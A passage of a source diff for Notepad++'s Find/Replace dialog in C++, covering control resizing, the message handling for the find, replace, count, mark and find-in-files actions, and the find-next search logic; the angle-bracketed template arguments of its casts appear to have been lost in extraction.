reinterpret_cast(&findersInfo), 0); + return TRUE; + } + return FALSE; + } + default: + return FALSE; + } +} + + +void FindReplaceDlg::resizeDialogElements(LONG newWidth) +{ + //elements that need to be resized horizontally (all edit/combo boxes etc.) + const auto resizeWindowIDs = { IDFINDWHAT, IDREPLACEWITH, IDD_FINDINFILES_FILTERS_COMBO, IDD_FINDINFILES_DIR_COMBO }; + + //elements that need to be moved + const auto moveWindowIDs = { + IDD_FINDINFILES_FOLDERFOLLOWSDOC_CHECK,IDD_FINDINFILES_RECURSIVE_CHECK, IDD_FINDINFILES_INHIDDENDIR_CHECK, + IDC_TRANSPARENT_GRPBOX, IDC_TRANSPARENT_CHECK, IDC_TRANSPARENT_LOSSFOCUS_RADIO, IDC_TRANSPARENT_ALWAYS_RADIO, + IDC_PERCENTAGE_SLIDER , IDC_REPLACEINSELECTION , IDC_IN_SELECTION_CHECK, + + IDD_FINDINFILES_BROWSE_BUTTON, IDCMARKALL, IDC_CLEAR_ALL, IDCCOUNTALL, IDC_FINDALL_OPENEDFILES, IDC_FINDALL_CURRENTFILE, + IDREPLACE, IDREPLACEALL,IDC_REPLACE_OPENEDFILES, IDD_FINDINFILES_FIND_BUTTON, IDD_FINDINFILES_REPLACEINFILES, IDOK, IDCANCEL, + }; + + const UINT flags = SWP_NOZORDER | SWP_NOOWNERZORDER | SWP_NOACTIVATE | SWP_NOCOPYBITS; + + auto newDeltaWidth = newWidth - _initialClientWidth; + auto addWidth = newDeltaWidth - _deltaWidth; + _deltaWidth = newDeltaWidth; + + RECT rc; + for (int id : resizeWindowIDs) + { + HWND resizeHwnd = ::GetDlgItem(_hSelf, id); + ::GetClientRect(resizeHwnd, &rc); + + // Combo box for some reasons selects text on resize. So let's check befor resize if selection is present and clear it manually after resize. + DWORD endSelection = 0; + SendMessage(resizeHwnd, CB_GETEDITSEL, 0, (LPARAM)&endSelection); + + ::SetWindowPos(resizeHwnd, NULL, 0, 0, rc.right + addWidth, rc.bottom, SWP_NOMOVE | flags); + + if (endSelection == 0) + { + SendMessage(resizeHwnd, CB_SETEDITSEL, 0, 0); + } + } + + for (int moveWndID : moveWindowIDs) + { + HWND moveHwnd = GetDlgItem(_hSelf, moveWndID); + ::GetWindowRect(moveHwnd, &rc); + ::MapWindowPoints(NULL, _hSelf, (LPPOINT)&rc, 2); + + ::SetWindowPos(moveHwnd, NULL, rc.left + addWidth, rc.top, 0, 0, SWP_NOSIZE | flags); + } + + auto additionalWindowHwndsToResize = { _tab.getHSelf() , _statusBar.getHSelf() }; + for (HWND resizeHwnd : additionalWindowHwndsToResize) + { + ::GetClientRect(resizeHwnd, &rc); + ::SetWindowPos(resizeHwnd, NULL, 0, 0, rc.right + addWidth, rc.bottom, SWP_NOMOVE | flags); + } +} + +INT_PTR CALLBACK FindReplaceDlg::run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam) +{ + switch (message) + { + case WM_GETMINMAXINFO: + { + MINMAXINFO* mmi = reinterpret_cast(lParam); + mmi->ptMinTrackSize.y = _initialWindowRect.bottom; + mmi->ptMinTrackSize.x = _initialWindowRect.right; + mmi->ptMaxTrackSize.y = _initialWindowRect.bottom; + return 0; + } + + case WM_SIZE: + { + resizeDialogElements(LOWORD(lParam)); + return TRUE; + } + + case WM_INITDIALOG : + { + RECT arc; + ::GetWindowRect(::GetDlgItem(_hSelf, IDCANCEL), &arc); + _findInFilesClosePos.bottom = _replaceClosePos.bottom = _findClosePos.bottom = arc.bottom - arc.top; + _findInFilesClosePos.right = _replaceClosePos.right = _findClosePos.right = arc.right - arc.left; + + POINT p; + p.x = arc.left; + p.y = arc.top; + ::ScreenToClient(_hSelf, &p); + + p = getTopPoint(::GetDlgItem(_hSelf, IDCANCEL), !_isRTL); + _replaceClosePos.left = p.x; + _replaceClosePos.top = p.y; + + p = getTopPoint(::GetDlgItem(_hSelf, IDREPLACEALL), !_isRTL); + _findInFilesClosePos.left = p.x; + _findInFilesClosePos.top = p.y; + + p = getTopPoint(::GetDlgItem(_hSelf, IDCANCEL), !_isRTL); + _findClosePos.left = p.x; + _findClosePos.top = p.y + 10; + + NativeLangSpeaker *pNativeSpeaker = (NppParameters::getInstance())->getNativeLangSpeaker(); + generic_string tip2show = pNativeSpeaker->getLocalizedStrFromID("shift-change-direction-tip"); + if (tip2show.empty()) + tip2show = TEXT("Use Shift+Enter to search in the opposite direction."); + + _shiftTrickUpTip = CreateToolTip(IDOK, _hSelf, _hInst, const_cast(tip2show.c_str())); + + if (_shiftTrickUpTip) + { + SendMessage(_shiftTrickUpTip, TTM_ACTIVATE, TRUE, 0); + SendMessage(_shiftTrickUpTip, TTM_SETMAXTIPWIDTH, 0, 200); + // Make tip stay 15 seconds + SendMessage(_shiftTrickUpTip, TTM_SETDELAYTIME, TTDT_AUTOPOP, MAKELPARAM((15000), (0))); + } + + return TRUE; + } + + case WM_DRAWITEM : + { + drawItem((DRAWITEMSTRUCT *)lParam); + return TRUE; + } + + case WM_HSCROLL : + { + if (reinterpret_cast(lParam) == ::GetDlgItem(_hSelf, IDC_PERCENTAGE_SLIDER)) + { + int percent = static_cast(::SendDlgItemMessage(_hSelf, IDC_PERCENTAGE_SLIDER, TBM_GETPOS, 0, 0)); + FindHistory & findHistory = (NppParameters::getInstance())->getFindHistory(); + findHistory._transparency = percent; + if (isCheckedOrNot(IDC_TRANSPARENT_ALWAYS_RADIO)) + { + (NppParameters::getInstance())->SetTransparent(_hSelf, percent); + } + } + return TRUE; + } + + case WM_NOTIFY: + { + NMHDR *nmhdr = (NMHDR *)lParam; + if (nmhdr->code == TCN_SELCHANGE) + { + HWND tabHandle = _tab.getHSelf(); + if (nmhdr->hwndFrom == tabHandle) + { + int indexClicked = int(::SendMessage(tabHandle, TCM_GETCURSEL, 0, 0)); + doDialog((DIALOG_TYPE)indexClicked); + } + return TRUE; + } + break; + } + + case WM_ACTIVATE : + { + if (LOWORD(wParam) == WA_ACTIVE || LOWORD(wParam) == WA_CLICKACTIVE) + { + CharacterRange cr = (*_ppEditView)->getSelection(); + int nbSelected = cr.cpMax - cr.cpMin; + + _options._isInSelection = isCheckedOrNot(IDC_IN_SELECTION_CHECK)?1:0; + int checkVal = _options._isInSelection?BST_CHECKED:BST_UNCHECKED; + + if (!_options._isInSelection) + { + if (nbSelected <= 1024) + { + checkVal = BST_UNCHECKED; + _options._isInSelection = false; + } + else + { + checkVal = BST_CHECKED; + _options._isInSelection = true; + } + } + // Searching/replacing in column selection is not allowed + if ((*_ppEditView)->execute(SCI_GETSELECTIONMODE) == SC_SEL_RECTANGLE) + { + checkVal = BST_UNCHECKED; + _options._isInSelection = false; + nbSelected = 0; + } + ::EnableWindow(::GetDlgItem(_hSelf, IDC_IN_SELECTION_CHECK), nbSelected); + // uncheck if the control is disable + if (!nbSelected) + { + checkVal = BST_UNCHECKED; + _options._isInSelection = false; + } + ::SendDlgItemMessage(_hSelf, IDC_IN_SELECTION_CHECK, BM_SETCHECK, checkVal, 0); + } + + if (isCheckedOrNot(IDC_TRANSPARENT_LOSSFOCUS_RADIO)) + { + if (LOWORD(wParam) == WA_INACTIVE && isVisible()) + { + int percent = static_cast(::SendDlgItemMessage(_hSelf, IDC_PERCENTAGE_SLIDER, TBM_GETPOS, 0, 0)); + (NppParameters::getInstance())->SetTransparent(_hSelf, percent); + } + else + { + (NppParameters::getInstance())->removeTransparent(_hSelf); + } + } + + // At very first time (when find dlg is launched), search mode is Normal. + // In that case, ". Matches newline" should be disabled as it applicable on for Regex + if (isCheckedOrNot(IDREGEXP)) + { + ::EnableWindow(GetDlgItem(_hSelf, IDREDOTMATCHNL), true); + } + else + { + ::EnableWindow(GetDlgItem(_hSelf, IDREDOTMATCHNL), false); + } + return TRUE; + } + + case NPPM_MODELESSDIALOG : + return ::SendMessage(_hParent, NPPM_MODELESSDIALOG, wParam, lParam); + + case WM_COMMAND : + { + bool isMacroRecording = (::SendMessage(_hParent, WM_GETCURRENTMACROSTATUS,0,0) == MACRO_RECORDING_IN_PROGRESS); + NppParameters *nppParamInst = NppParameters::getInstance(); + FindHistory & findHistory = nppParamInst->getFindHistory(); + switch (LOWORD(wParam)) + { +//Single actions + case IDCANCEL: + (*_ppEditView)->execute(SCI_CALLTIPCANCEL); + setStatusbarMessage(generic_string(), FSNoMessage); + display(false); + break; + + case IDOK : // Find Next : only for FIND_DLG and REPLACE_DLG + { + setStatusbarMessage(generic_string(), FSNoMessage); + + HWND hFindCombo = ::GetDlgItem(_hSelf, IDFINDWHAT); + _options._str2Search = getTextFromCombo(hFindCombo); + updateCombo(IDFINDWHAT); + + nppParamInst->_isFindReplacing = true; + if (isMacroRecording) + saveInMacro(wParam, FR_OP_FIND); + + bool direction_bak = _options._whichDirection; + + // if shift-key is pressed, revert search direction + // if shift-key is not pressed, use the normal setting + SHORT shift = GetKeyState(VK_SHIFT); + if (shift & SHIFTED) + { + _options._whichDirection = !_options._whichDirection; + } + + FindStatus findStatus = FSFound; + processFindNext(_options._str2Search.c_str(), _env, &findStatus); + // restore search direction which may have been overwritten because shift-key was pressed + _options._whichDirection = direction_bak; + + if (findStatus == FSEndReached) + setStatusbarMessage(TEXT("Find: Found the 1st occurrence from the top. The end of the document has been reached."), FSEndReached); + else if (findStatus == FSTopReached) + setStatusbarMessage(TEXT("Find: Found the 1st occurrence from the bottom. The beginning of the document has been reached."), FSTopReached); + + nppParamInst->_isFindReplacing = false; + } + return TRUE; + + case IDM_SEARCH_FIND: + goToCenter(); + return TRUE; + + case IDREPLACE : + { + LongRunningOperation op; + if (_currentStatus == REPLACE_DLG) + { + setStatusbarMessage(TEXT(""), FSNoMessage); + HWND hFindCombo = ::GetDlgItem(_hSelf, IDFINDWHAT); + HWND hReplaceCombo = ::GetDlgItem(_hSelf, IDREPLACEWITH); + _options._str2Search = getTextFromCombo(hFindCombo); + _options._str4Replace = getTextFromCombo(hReplaceCombo); + updateCombos(); + + nppParamInst->_isFindReplacing = true; + if (isMacroRecording) saveInMacro(wParam, FR_OP_REPLACE); + processReplace(_options._str2Search.c_str(), _options._str4Replace.c_str()); + nppParamInst->_isFindReplacing = false; + } + } + return TRUE; +//Process actions + case IDC_FINDALL_OPENEDFILES : + { + if (_currentStatus == FIND_DLG) + { + setStatusbarMessage(TEXT(""), FSNoMessage); + HWND hFindCombo = ::GetDlgItem(_hSelf, IDFINDWHAT); + combo2ExtendedMode(IDFINDWHAT); + _options._str2Search = getTextFromCombo(hFindCombo); + updateCombo(IDFINDWHAT); + + nppParamInst->_isFindReplacing = true; + if (isMacroRecording) saveInMacro(wParam, FR_OP_FIND + FR_OP_GLOBAL); + findAllIn(ALL_OPEN_DOCS); + nppParamInst->_isFindReplacing = false; + } + } + return TRUE; + + case IDC_FINDALL_CURRENTFILE : + { + setStatusbarMessage(TEXT(""), FSNoMessage); + HWND hFindCombo = ::GetDlgItem(_hSelf, IDFINDWHAT); + combo2ExtendedMode(IDFINDWHAT); + _options._str2Search = getTextFromCombo(hFindCombo); + updateCombo(IDFINDWHAT); + + nppParamInst->_isFindReplacing = true; + if (isMacroRecording) saveInMacro(wParam, FR_OP_FIND + FR_OP_GLOBAL); + findAllIn(CURRENT_DOC); + nppParamInst->_isFindReplacing = false; + } + return TRUE; + + case IDD_FINDINFILES_FIND_BUTTON : + { + setStatusbarMessage(TEXT(""), FSNoMessage); + const int filterSize = 256; + TCHAR filters[filterSize+1]; + filters[filterSize] = '\0'; + TCHAR directory[MAX_PATH]; + ::GetDlgItemText(_hSelf, IDD_FINDINFILES_FILTERS_COMBO, filters, filterSize); + addText2Combo(filters, ::GetDlgItem(_hSelf, IDD_FINDINFILES_FILTERS_COMBO)); + _options._filters = filters; + + ::GetDlgItemText(_hSelf, IDD_FINDINFILES_DIR_COMBO, directory, MAX_PATH); + addText2Combo(directory, ::GetDlgItem(_hSelf, IDD_FINDINFILES_DIR_COMBO)); + _options._directory = directory; + + if ((lstrlen(directory) > 0) && (directory[lstrlen(directory)-1] != '\\')) + _options._directory += TEXT("\\"); + + HWND hFindCombo = ::GetDlgItem(_hSelf, IDFINDWHAT); + combo2ExtendedMode(IDFINDWHAT); + _options._str2Search = getTextFromCombo(hFindCombo); + updateCombo(IDFINDWHAT); + + nppParamInst->_isFindReplacing = true; + if (isMacroRecording) saveInMacro(wParam, FR_OP_FIND + FR_OP_FIF); + findAllIn(FILES_IN_DIR); + nppParamInst->_isFindReplacing = false; + } + return TRUE; + + case IDD_FINDINFILES_REPLACEINFILES : + { + LongRunningOperation op; + setStatusbarMessage(TEXT(""), FSNoMessage); + const int filterSize = 256; + TCHAR filters[filterSize]; + TCHAR directory[MAX_PATH]; + ::GetDlgItemText(_hSelf, IDD_FINDINFILES_FILTERS_COMBO, filters, filterSize); + addText2Combo(filters, ::GetDlgItem(_hSelf, IDD_FINDINFILES_FILTERS_COMBO)); + _options._filters = filters; + + ::GetDlgItemText(_hSelf, IDD_FINDINFILES_DIR_COMBO, directory, MAX_PATH); + addText2Combo(directory, ::GetDlgItem(_hSelf, IDD_FINDINFILES_DIR_COMBO)); + _options._directory = directory; + + if ((lstrlen(directory) > 0) && (directory[lstrlen(directory)-1] != '\\')) + _options._directory += TEXT("\\"); + + generic_string msg = TEXT("Are you sure you want to replace all occurrences in :\r"); + msg += _options._directory; + msg += TEXT("\rfor file type : "); + msg += _options._filters[0]?_options._filters:TEXT("*.*"); + + if (::MessageBox(_hParent, msg.c_str(), TEXT("Are you sure?"), MB_OKCANCEL|MB_DEFBUTTON2) == IDOK) + { + HWND hFindCombo = ::GetDlgItem(_hSelf, IDFINDWHAT); + _options._str2Search = getTextFromCombo(hFindCombo); + HWND hReplaceCombo = ::GetDlgItem(_hSelf, IDREPLACEWITH); + _options._str4Replace = getTextFromCombo(hReplaceCombo); + updateCombo(IDFINDWHAT); + updateCombo(IDREPLACEWITH); + + nppParamInst->_isFindReplacing = true; + if (isMacroRecording) saveInMacro(wParam, FR_OP_REPLACE + FR_OP_FIF); + ::SendMessage(_hParent, WM_REPLACEINFILES, 0, 0); + nppParamInst->_isFindReplacing = false; + } + } + return TRUE; + + case IDC_REPLACE_OPENEDFILES : + { + LongRunningOperation op; + if (_currentStatus == REPLACE_DLG) + { + setStatusbarMessage(TEXT(""), FSNoMessage); + HWND hFindCombo = ::GetDlgItem(_hSelf, IDFINDWHAT); + _options._str2Search = getTextFromCombo(hFindCombo); + HWND hReplaceCombo = ::GetDlgItem(_hSelf, IDREPLACEWITH); + _options._str4Replace = getTextFromCombo(hReplaceCombo); + updateCombos(); + + nppParamInst->_isFindReplacing = true; + if (isMacroRecording) saveInMacro(wParam, FR_OP_REPLACE + FR_OP_GLOBAL); + replaceAllInOpenedDocs(); + nppParamInst->_isFindReplacing = false; + } + } + return TRUE; + + case IDREPLACEALL : + { + LongRunningOperation op; + if (_currentStatus == REPLACE_DLG) + { + setStatusbarMessage(TEXT(""), FSNoMessage); + if ((*_ppEditView)->getCurrentBuffer()->isReadOnly()) + { + generic_string errMsg = TEXT("Replace: Cannot replace text. The current document is read only."); + setStatusbarMessage(errMsg, FSNotFound); + return TRUE; + } + + HWND hFindCombo = ::GetDlgItem(_hSelf, IDFINDWHAT); + _options._str2Search = getTextFromCombo(hFindCombo); + HWND hReplaceCombo = ::GetDlgItem(_hSelf, IDREPLACEWITH); + _options._str4Replace = getTextFromCombo(hReplaceCombo); + updateCombos(); + + nppParamInst->_isFindReplacing = true; + if (isMacroRecording) saveInMacro(wParam, FR_OP_REPLACE); + (*_ppEditView)->execute(SCI_BEGINUNDOACTION); + int nbReplaced = processAll(ProcessReplaceAll, &_options); + (*_ppEditView)->execute(SCI_ENDUNDOACTION); + nppParamInst->_isFindReplacing = false; + + generic_string result = TEXT(""); + + if (nbReplaced < 0) + result = TEXT("Replace All: The regular expression is malformed."); + else + { + TCHAR moreInfo[64]; + if(nbReplaced == 1) + wsprintf(moreInfo, TEXT("Replace All: %d occurrence was replaced."), nbReplaced); + else + wsprintf(moreInfo, TEXT("Replace All: %s occurrences were replaced."), commafyInt(nbReplaced).c_str()); + result = moreInfo; + } + setStatusbarMessage(result, FSMessage); + //::SetFocus(_hSelf); + getFocus(); + } + } + return TRUE; + + case IDCCOUNTALL : + { + if (_currentStatus == FIND_DLG) + { + setStatusbarMessage(TEXT(""), FSNoMessage); + HWND hFindCombo = ::GetDlgItem(_hSelf, IDFINDWHAT); + updateCombo(IDFINDWHAT); + _options._str2Search = getTextFromCombo(hFindCombo); + + int nbCounted = processAll(ProcessCountAll, &_options); + generic_string result = TEXT(""); + + if (nbCounted < 0) + result = TEXT("Count: The regular expression to search is malformed."); + else + { + TCHAR moreInfo[128]; + if (nbCounted == 1) + wsprintf(moreInfo, TEXT("Count: %d match."), nbCounted); + else + wsprintf(moreInfo, TEXT("Count: %s matches."), commafyInt(nbCounted).c_str()); + result = moreInfo; + } + if (isMacroRecording) saveInMacro(wParam, FR_OP_FIND); + setStatusbarMessage(result, FSMessage); + //::SetFocus(_hSelf); + getFocus(); + } + } + return TRUE; + + case IDCMARKALL : + { + if (_currentStatus == MARK_DLG) + { + setStatusbarMessage(TEXT(""), FSNoMessage); + HWND hFindCombo = ::GetDlgItem(_hSelf, IDFINDWHAT); + _options._str2Search = getTextFromCombo(hFindCombo); + updateCombo(IDFINDWHAT); + + if (isMacroRecording) saveInMacro(wParam, FR_OP_FIND); + nppParamInst->_isFindReplacing = true; + int nbMarked = processAll(ProcessMarkAll, &_options); + nppParamInst->_isFindReplacing = false; + generic_string result = TEXT(""); + if (nbMarked < 0) + result = TEXT("Mark: The regular expression to search is malformed."); + else + { + TCHAR moreInfo[128]; + if(nbMarked == 1) + wsprintf(moreInfo, TEXT("Mark: %d match."), nbMarked); + else + wsprintf(moreInfo, TEXT("Mark: %s matches."), commafyInt(nbMarked).c_str()); + result = moreInfo; + } + setStatusbarMessage(result, FSMessage); + //::SetFocus(_hSelf); + getFocus(); + } + } + return TRUE; + + case IDC_CLEAR_ALL : + { + if (_currentStatus == MARK_DLG) + { + (*_ppEditView)->clearIndicator(SCE_UNIVERSAL_FOUND_STYLE); + (*_ppEditView)->execute(SCI_MARKERDELETEALL, MARK_BOOKMARK); + setStatusbarMessage(TEXT(""), FSNoMessage); + } + } + return TRUE; +//Option actions + case IDREDOTMATCHNL: + findHistory._dotMatchesNewline = _options._dotMatchesNewline = isCheckedOrNot(IDREDOTMATCHNL); + return TRUE; + + case IDWHOLEWORD : + findHistory._isMatchWord = _options._isWholeWord = isCheckedOrNot(IDWHOLEWORD); + return TRUE; + + case IDMATCHCASE : + findHistory._isMatchCase = _options._isMatchCase = isCheckedOrNot(IDMATCHCASE); + return TRUE; + + case IDNORMAL: + case IDEXTENDED: + case IDREGEXP : { + if (isCheckedOrNot(IDREGEXP)) + { + _options._searchType = FindRegex; + findHistory._searchMode = FindHistory::regExpr; + ::EnableWindow(GetDlgItem(_hSelf, IDREDOTMATCHNL), true); + } + else if (isCheckedOrNot(IDEXTENDED)) + { + _options._searchType = FindExtended; + findHistory._searchMode = FindHistory::extended; + ::EnableWindow(GetDlgItem(_hSelf, IDREDOTMATCHNL), false); + } + else + { + _options._searchType = FindNormal; + findHistory._searchMode = FindHistory::normal; + ::EnableWindow(GetDlgItem(_hSelf, IDREDOTMATCHNL), false); + } + + bool isRegex = (_options._searchType == FindRegex); + if (isRegex) + { + //regex doesn't allow whole word + _options._isWholeWord = false; + ::SendDlgItemMessage(_hSelf, IDWHOLEWORD, BM_SETCHECK, _options._isWholeWord?BST_CHECKED:BST_UNCHECKED, 0); + + //regex upward search is disable in v6.3 due to a regression + ::SendDlgItemMessage(_hSelf, IDC_BACKWARDDIRECTION, BM_SETCHECK, BST_UNCHECKED, 0); + _options._whichDirection = DIR_DOWN; + } + + ::EnableWindow(::GetDlgItem(_hSelf, IDWHOLEWORD), (BOOL)!isRegex); + + //regex upward search is disable in v6.3 due to a regression + ::EnableWindow(::GetDlgItem(_hSelf, IDC_BACKWARDDIRECTION), (BOOL)!isRegex); + return TRUE; } + + case IDWRAP : + findHistory._isWrap = _options._isWrapAround = isCheckedOrNot(IDWRAP); + return TRUE; + + case IDC_BACKWARDDIRECTION: + _options._whichDirection = isCheckedOrNot(IDC_BACKWARDDIRECTION) ? DIR_UP : DIR_DOWN; + findHistory._isDirectionDown = _options._whichDirection == DIR_DOWN; + return TRUE; + + case IDC_PURGE_CHECK : + { + if (_currentStatus == MARK_DLG) + _options._doPurge = isCheckedOrNot(IDC_PURGE_CHECK); + } + return TRUE; + + case IDC_MARKLINE_CHECK : + { + if (_currentStatus == MARK_DLG) + _options._doMarkLine = isCheckedOrNot(IDC_MARKLINE_CHECK); + } + return TRUE; + + case IDC_IN_SELECTION_CHECK : + { + if ((_currentStatus == REPLACE_DLG) || (_currentStatus == MARK_DLG)) + _options._isInSelection = isCheckedOrNot(IDC_IN_SELECTION_CHECK); + } + return TRUE; + + case IDC_TRANSPARENT_CHECK : + { + bool isChecked = isCheckedOrNot(IDC_TRANSPARENT_CHECK); + + ::EnableWindow(::GetDlgItem(_hSelf, IDC_TRANSPARENT_GRPBOX), isChecked); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_TRANSPARENT_LOSSFOCUS_RADIO), isChecked); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_TRANSPARENT_ALWAYS_RADIO), isChecked); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_PERCENTAGE_SLIDER), isChecked); + + if (isChecked) + { + ::SendDlgItemMessage(_hSelf, IDC_TRANSPARENT_LOSSFOCUS_RADIO, BM_SETCHECK, BST_CHECKED, 0); + findHistory._transparencyMode = FindHistory::onLossingFocus; + } + else + { + ::SendDlgItemMessage(_hSelf, IDC_TRANSPARENT_LOSSFOCUS_RADIO, BM_SETCHECK, BST_UNCHECKED, 0); + ::SendDlgItemMessage(_hSelf, IDC_TRANSPARENT_ALWAYS_RADIO, BM_SETCHECK, BST_UNCHECKED, 0); + (NppParameters::getInstance())->removeTransparent(_hSelf); + findHistory._transparencyMode = FindHistory::none; + } + + return TRUE; + } + + case IDC_TRANSPARENT_ALWAYS_RADIO : + { + int percent = static_cast(::SendDlgItemMessage(_hSelf, IDC_PERCENTAGE_SLIDER, TBM_GETPOS, 0, 0)); + (NppParameters::getInstance())->SetTransparent(_hSelf, percent); + findHistory._transparencyMode = FindHistory::persistant; + } + return TRUE; + + case IDC_TRANSPARENT_LOSSFOCUS_RADIO : + { + (NppParameters::getInstance())->removeTransparent(_hSelf); + findHistory._transparencyMode = FindHistory::onLossingFocus; + } + return TRUE; + + // + // Find in Files + // + case IDD_FINDINFILES_RECURSIVE_CHECK : + { + if (_currentStatus == FINDINFILES_DLG) + findHistory._isFifRecuisive = _options._isRecursive = isCheckedOrNot(IDD_FINDINFILES_RECURSIVE_CHECK); + + } + return TRUE; + + case IDD_FINDINFILES_INHIDDENDIR_CHECK : + { + if (_currentStatus == FINDINFILES_DLG) + findHistory._isFifInHiddenFolder = _options._isInHiddenDir = isCheckedOrNot(IDD_FINDINFILES_INHIDDENDIR_CHECK); + + } + return TRUE; + + case IDD_FINDINFILES_FOLDERFOLLOWSDOC_CHECK : + { + if (_currentStatus == FINDINFILES_DLG) + findHistory._isFolderFollowDoc = isCheckedOrNot(IDD_FINDINFILES_FOLDERFOLLOWSDOC_CHECK); + + if (findHistory._isFolderFollowDoc) + { + NppParameters *pNppParam = NppParameters::getInstance(); + const TCHAR * dir = pNppParam->getWorkingDir(); + ::SetDlgItemText(_hSelf, IDD_FINDINFILES_DIR_COMBO, dir); + } + + } + return TRUE; + + case IDD_FINDINFILES_BROWSE_BUTTON : + { + if (_currentStatus == FINDINFILES_DLG) + folderBrowser(_hSelf, TEXT("Select a folder to search from"), IDD_FINDINFILES_DIR_COMBO, _options._directory.c_str()); + } + return TRUE; + + default : + break; + } + break; + } + } + return FALSE; +} + +// return value : +// true : the text2find is found +// false : the text2find is not found + +bool FindReplaceDlg::processFindNext(const TCHAR *txt2find, const FindOption *options, FindStatus *oFindStatus, FindNextType findNextType /* = FINDNEXTTYPE_FINDNEXT */) +{ + if (oFindStatus) + *oFindStatus = FSFound; + + if (!txt2find || !txt2find[0]) + return false; + + const FindOption *pOptions = options?options:_env; + + (*_ppEditView)->execute(SCI_CALLTIPCANCEL); + + int stringSizeFind = lstrlen(txt2find); + TCHAR *pText = new TCHAR[stringSizeFind + 1]; + lstrcpy(pText, txt2find); + + if (pOptions->_searchType == FindExtended) { + stringSizeFind = Searching::convertExtendedToString(txt2find, pText, stringSizeFind); + } + + int docLength = int((*_ppEditView)->execute(SCI_GETLENGTH)); + CharacterRange cr = (*_ppEditView)->getSelection(); + + + //The search "zone" is relative to the selection, so search happens 'outside' + int startPosition = cr.cpMax; + int endPosition = docLength; + + + if (pOptions->_whichDirection == DIR_UP) + { + //When searching upwards, start is the lower part, end the upper, for backwards search + startPosition = cr.cpMax - 1; + endPosition = 0; + } + + if (FirstIncremental==pOptions->_incrementalType) + { + // the text to find is modified so use the current position + startPosition = cr.cpMin; + endPosition = docLength; + + if (pOptions->_whichDirection == DIR_UP) + { + //When searching upwards, start is the lower part, end the upper, for backwards search + startPosition = cr.cpMax; + endPosition = 0; + } + } + else if (NextIncremental==pOptions->_incrementalType) + { + // text to find is not modified, so use current position +1 + startPosition = cr.cpMin + 1; + endPosition = docLength; + + if (pOptions->_whichDirection == DIR_UP) + { + //When searching upwards, start is the lower part, end the upper, for backwards search + startPosition = cr.cpMax - 1; + endPosition = 0; + } + } + + int flags = Searching::buildSearchFlags(pOptions); + switch (findNextType) + { + case FINDNEXTTYPE_FINDNEXT: + flags |= SCFIND_REGEXP_EMPTYMATCH_ALL | SCFIND_REGEXP_SKIPCRLFASONE; + break; + + case FINDNEXTTYPE_REPLACENEXT: + flags |= SCFIND_REGEXP_EMPTYMATCH_NOTAFTERMATCH | SCFIND_REGEXP_SKIPCRLFASONE; + break; + + case FINDNEXTTYPE_FINDNEXTFORREPLACE: + flags |= SCFIND_REGEXP_EMPTYMATCH_ALL | SCFIND_REGEXP_EMPTYMATCH_ALLOWATSTART | SCFIND_REGEXP_SKIPCRLFASONE; + break; + } + + int start, end; + int posFind; + + // Never allow a zero length match in the middle of a line end marker + if ((*_ppEditView)->execute(SCI_GETCHARAT, startPosition - 1) == '\r' + && (*_ppEditView)->execute(SCI_GETCHARAT, startPosition) == '\n') + { + flags = (flags & ~SCFIND_REGEXP_EMPTYMATCH_MASK) | SCFIND_REGEXP_EMPTYMATCH_NONE; + } + + (*_ppEditView)->execute(SCI_SETSEARCHFLAGS, flags); + + + posFind = (*_ppEditView)->searchInTarget(pText, stringSizeFind, startPosition, endPosition); + if (posFind == -1) //no match found in target, check if a new target should be used + { + if (pOptions->_isWrapAround) + { + //when wrapping, use the rest of the document (entire document is usable) + if (pOptions->_whichDirection == DIR_DOWN) + { + startPosition = 0; + endPosition = docLength; + if (oFindStatus) + *oFindStatus = FSEndReached; + } + else + { + startPosition = docLength; + endPosition = 0; + if (oFindStatus) + *oFindStatus = FSTopReached; + } + + //new target, search again + posFind = (*_ppEditView)->searchInTarget(pText, stringSizeFind, startPosition, endPosition); + } + + if (posFind == -1) + { + if (oFindStatus) + *oFindStatus = FSNotFound; + //failed, or failed twice with wrap + if (NotIncremental == pOptions->_incrementalType) //incremental search doesnt trigger messages + { + generic_string msg = TEXT("Find: Can't find the text \""); + msg += stringReplace(txt2find, TEXT("&"), TEXT("&&")); + msg += TEXT("\""); + setStatusbarMessage(msg, FSNotFound); + + // if the dialog is not shown, pass the focus to his parent(ie. Notepad++) + if (!::IsWindowVisible(_hSelf)) + { + //::SetFocus((*_ppEditView)->getHSelf()); + (*_ppEditView)->getFocus(); + } + else + { + ::SetFocus(::GetDlgItem(_hSelf, IDFINDWHAT)); + } + } + delete [] pText; + return false; + } + } + else if (posFind == -2) // Invalid Regular expression + { + setStatusbarMessage(TEXT("Find: Invalid regular expression"), FSNotFound); + return false; + } + + start = posFind; + end = int((*_ppEditView)->execute(SCI_GETTARGETEND)); + + setStatusbarMessage(TEXT(""), FSNoMessage); + + // to make sure the found result is visible: + // prevent recording of absolute positioning commands issued in the process + (*_ppEditView)->execute(SCI_STOPRECORD); + Searching::displaySectionCentered(start, end, *_ppEditView, pOptions->_whichDirection == DIR_DOWN); + // Show a calltip for a zero length match + if (start == end) + { + (*_ppEditView)->execute(SCI_CALLTIPSHOW, start, reinterpret_cast("^ zero length match")); + } + if (::SendMessage(_hParent, WM_GETCURRENTMACROSTATUS,0,0) == MACRO_RECORDING_IN_PROGRESS) + (*_ppEditView)->execute(SCI_STARTRECORD); + + delete [] pText; + + + + return true; +} + +// return value : +// true : the text is replaced, and find the next occurrence +// false : the text2find is not found, so the text is NOT replace +// || the text is replaced, and do NOT find the next occurrence +bool FindReplaceDlg::processReplace(const TCHAR *txt2find, const TCHAR *txt2replace, const FindOption *options) +{ + bool moreMatches; + + if (!txt2find || !txt2find[0] || !txt2replace) + return false; + + if ((*_ppEditView)->getCurrentBuffer()->isReadOnly()) + { + generic_string errMsg = TEXT("Replace: Cannot replace text. The current document is read only."); + setStatusbarMessage(errMsg, FSNotFound); + return false; + } + + FindOption replaceOptions = options ? *options : *_env; + replaceOptions._incrementalType = FirstIncremental; + + Sci_CharacterRange currentSelection = (*_ppEditView)->getSelection(); + FindStatus status; + moreMatches = processFindNext(txt2find, &replaceOptions, &status, FINDNEXTTYPE_FINDNEXTFORREPLACE); + + if (moreMatches) + { + Sci_CharacterRange nextFind = (*_ppEditView)->getSelection(); + + // If the next find is the same as the last, then perform the replacement + if (nextFind.cpMin == currentSelection.cpMin && nextFind.cpMax == currentSelection.cpMax) + { + bool isRegExp = replaceOptions._searchType == FindRegex; + + int start = 